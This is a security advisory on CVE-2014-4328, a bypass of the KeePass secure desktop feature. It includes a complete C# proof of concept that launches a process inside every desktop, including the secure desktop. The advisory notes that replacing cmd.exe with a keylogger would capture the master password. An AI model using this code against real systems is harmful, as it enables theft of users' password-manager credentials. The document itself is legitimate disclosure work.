Trustwave SpiderLabs Security Advisory TWSL2014-011: Secure Desktop Protection Bypass in Keepass Published: 08/06/2014 Version: 1.0 Vendor: KeePass (http://keepass.info/) Product: KeePass Version affected: All Versions Product description: KeePass is a free open source password manager, which helps you to manage your passwords in a secure way. You can put all your passwords in one database, which is locked with one master key or a key file. So you only have to remember one single master password or select the key file to unlock the whole database. The databases are encrypted using the best and most secure encryption algorithms currently known (AES and Twofish). One of the security features of KeePass is: "The master key dialog can be shown on a secure desktop, on which almost no keylogger works. Auto-Type can be protected against keyloggers, too." The Secure Desktop is a feature of Windows API that creates a separated desktop to run programs/processes and this way not allowing processes and programs running in other desktops to capture keystrokes or screen in this desktop. The Secure Desktop’s primary difference from the User Desktop is that only trusted processes running as SYSTEM are allowed to run here (i.e. nothing running as the User’s privilege level) and the path to get to the Secure Desktop from the User Desktop must also be trusted through the entire chain. Finding 1: Secure Desktop Protection Bypass Credit: Márcio Almeida de Macêdo and Bruno Gonçalves de Oliveira of Trustwave SpiderLabs CVE: CVE-2014-4328 CWE: CWE-693 The secure desktop implemented by KeePass allows a process running in another desktop to interact with the the secure desktop UI objects. Using the User32.dll we developed a PoC code to run process and programs inside of the secure desktop and that way bypass the feature protection allowing for example a keylogger process to capture the keystrokes inserted into the secure desktop. The following proof of concept code opens a cmd.exe in every desktop of the active session and continues waiting for new desktops to open a cmd.exe on that desktop. So, changing the cmd.exe by a keylogger program, the keylogger will be launched inside of the secure desktop when it's created and that way will be able to capture the keystrokes inserted in the keepass masterkey window. ###### PoC ####### using System; using System.Collections.Generic; using System.Drawing; using System.IO; using System.Runtime.InteropServices; using System.Threading; using System.Threading.Tasks; using System.Windows.Forms; namespace DesktopInjector { class Program { [DllImport("user32.dll")] public static extern IntPtr CreateDesktop(string lpszDesktop, IntPtr lpszDevice, IntPtr pDevmode, int dwFlags, uint dwDesiredAccess, IntPtr lpsa); [DllImport("user32.dll")] private static extern bool SwitchDesktop(IntPtr hDesktop); [DllImport("user32.dll")] public static extern bool CloseDesktop(IntPtr handle); [DllImport("user32.dll")] public static extern bool SetThreadDesktop(IntPtr hDesktop); [DllImport("user32.dll")] public static extern IntPtr GetThreadDesktop(int dwThreadId); [DllImport("user32.dll")] static extern IntPtr OpenDesktop(string lpszDesktop, uint dwFlags, bool fInherit, uint dwDesiredAccess); private delegate bool EnumDesktopProc(string lpszDesktop, IntPtr lParam); [DllImport("user32.dll")] private static extern bool EnumDesktops(IntPtr hwinsta, EnumDesktopProc lpEnumFunc, IntPtr lParam); [DllImport("user32.dll")] private static extern IntPtr GetProcessWindowStation(); [DllImport("kernel32.dll")] private static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, int dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, ref PROCESS_INFORMATION lpProcessInformation); [DllImport("kernel32.dll")] public static extern int GetCurrentThreadId(); [StructLayout(LayoutKind.Sequential)] private struct STARTUPINFO { public int cb; public string lpReserved; public string lpDesktop; public string lpTitle; public int dwX; public int dwY; public int dwXSize; public int dwYSize; public int dwXCountChars; public int dwYCountChars; public int dwFillAttribute; public int dwFlags; public short wShowWindow; public short cbReserved2; public IntPtr lpReserved2; public IntPtr hStdInput; public IntPtr hStdOutput; public IntPtr hStdError; } [StructLayout(LayoutKind.Sequential)] private struct PROCESS_INFORMATION { public IntPtr hProcess; public IntPtr hThread; public int dwProcessId; public int dwThreadId; } private const int NORMAL_PRIORITY_CLASS = 0x00000020; private const long DF_ALLOWOTHERACCOUNTHOOK = 0x0001L; private const uint DELETE = 0x00010000; private const uint READ_CONTROL = 0x00020000; private const uint WRITE_DAC = 0x00040000; private const uint WRITE_OWNER = 0x00080000; private const uint STANDARD_RIGHTS_REQUIRED = DELETE | READ_CONTROL | WRITE_DAC | WRITE_OWNER; private const long DESKTOP_CREATEWINDOW = 0x0002L; private const long DESKTOP_ENUMERATE = 0x0040L; private const long DESKTOP_WRITEOBJECTS = 0x0080L; private const long DESKTOP_SWITCHDESKTOP = 0x0100L; private const long DESKTOP_CREATEMENU = 0x0004L; private const long DESKTOP_HOOKCONTROL = 0x0008L; private const long DESKTOP_READOBJECTS = 0x0001L; private const long DESKTOP_JOURNALRECORD = 0x0010L; private const long DESKTOP_JOURNALPLAYBACK = 0x0020L; private const uint AccessRights = (uint)DESKTOP_JOURNALRECORD | (uint)DESKTOP_JOURNALPLAYBACK | (uint)DESKTOP_CREATEWINDOW | (uint)DESKTOP_ENUMERATE | (uint)DESKTOP_WRITEOBJECTS | (uint)DESKTOP_SWITCHDESKTOP | (uint)DESKTOP_CREATEMENU | (uint)DESKTOP_HOOKCONTROL | (uint)DESKTOP_READOBJECTS | STANDARD_RIGHTS_REQUIRED; private static List _desktops = new List(); private static List _p0wn3d_desktops = new List(); public static IntPtr Create(string dsktopname) { return CreateDesktop(dsktopname, IntPtr.Zero, IntPtr.Zero, 0, AccessRights, IntPtr.Zero); } public static IntPtr Open(string name) { return OpenDesktop(name, 0, false, AccessRights); } public static bool Show(IntPtr desktopPrt) { if (desktopPrt == IntPtr.Zero) return false; return SwitchDesktop(desktopPrt); } public static bool Exists(string name) { foreach (string s in GetDesktops()) { if (s == name) { return true; } } return false; } public static bool hasP0wn3d(string name) { foreach (string s in _p0wn3d_desktops.ToArray()) { if (s == name) { return true; } } return false; } private static void CreateProcess(string path, string desktopName) { STARTUPINFO si = new STARTUPINFO(); si.cb = Marshal.SizeOf(si); si.lpDesktop = desktopName; PROCESS_INFORMATION pi = new PROCESS_INFORMATION(); var lpCurrentDirectory = Path.GetDirectoryName(path); CreateProcess(path, null, IntPtr.Zero, IntPtr.Zero, true, NORMAL_PRIORITY_CLASS, IntPtr.Zero, lpCurrentDirectory, ref si, ref pi); } private static string[] GetDesktops() { IntPtr windowStation = GetProcessWindowStation(); if (windowStation == IntPtr.Zero) return new string[0]; _desktops.Clear(); bool result = EnumDesktops(windowStation, DesktopEnumProc, IntPtr.Zero); if (!result) return new string[0]; return _desktops.ToArray(); } private static bool DesktopEnumProc(string lpszDesktop, IntPtr lParam) { _desktops.Add(lpszDesktop); return true; } static void Main(string[] args) { IntPtr hNewDesktop; while (true) { foreach (string desktop in GetDesktops()) { if (!hasP0wn3d(desktop)) { hNewDesktop = Open(desktop); Task.Factory.StartNew(() => { SetThreadDesktop(hNewDesktop); CreateProcess("C:\\windows\\system32\\cmd.exe", desktop); }).Wait(); _p0wn3d_desktops.Add(desktop); } } } } } } ########## Vendor Response: "I do not consider this as a bug. It is clear that such injections are possible, and I have never claimed that it would be impossible to develop a keylogger that works on KeePass' secure desktop. This could only be prevented if KeePass would run on a secure desktop with higher rights, which unfortunately would make KeePass mostly unusable, because no interaction with the user's primary desktop would be possible anymore." Revision History: 04/30/14 - Vulnerability disclosed 05/01/14 - Vendor provides response 08/01/14 - Advisory published References 1. Sessions, Desktop and Windows Stations - https://blogs.technet.com/b/askperf/archive/2007/07/24/sessions-desktops-and-windows-stations.aspx 2. Desktops - http://msdn.microsoft.com/en-us/library/ms682573%28v=vs.85%29.aspx 3. Windows Stations and Desktops Functions (MSDN user32.dll) - http://msdn.microsoft.com/en-us/library/windows/desktop/ms687107(v=vs.85).aspx About Trustwave: Trustwave is the leading provider of on-demand and subscription-based information security and payment card industry compliance management solutions to businesses and government entities throughout the world. For organizations faced with today's challenging data security and compliance environment, Trustwave provides a unique approach with comprehensive solutions that include its flagship TrustKeeper compliance management software and other proprietary security solutions. Trustwave has helped thousands of organizations--ranging from Fortune 500 businesses and large financial institutions to small and medium-sized retailers--manage compliance and secure their network infrastructure, data communications and critical information assets. Trustwave is headquartered in Chicago with offices throughout North America, South America, Europe, Africa, China and Australia. For more information, visit https://www.trustwave.com About Trustwave SpiderLabs: SpiderLabs(R) is the advanced security team at Trustwave focused on application security, incident response, penetration testing, physical security and security research. The team has performed over a thousand incident investigations, thousands of penetration tests and hundreds of application security tests globally. In addition, the SpiderLabs Research team provides intelligence through bleeding-edge research and proof of concept tool development to enhance Trustwave's products and services. https://www.trustwave.com/spiderlabs Disclaimer: The information provided in this advisory is provided "as is" without warranty of any kind. Trustwave disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Trustwave or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Trustwave or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.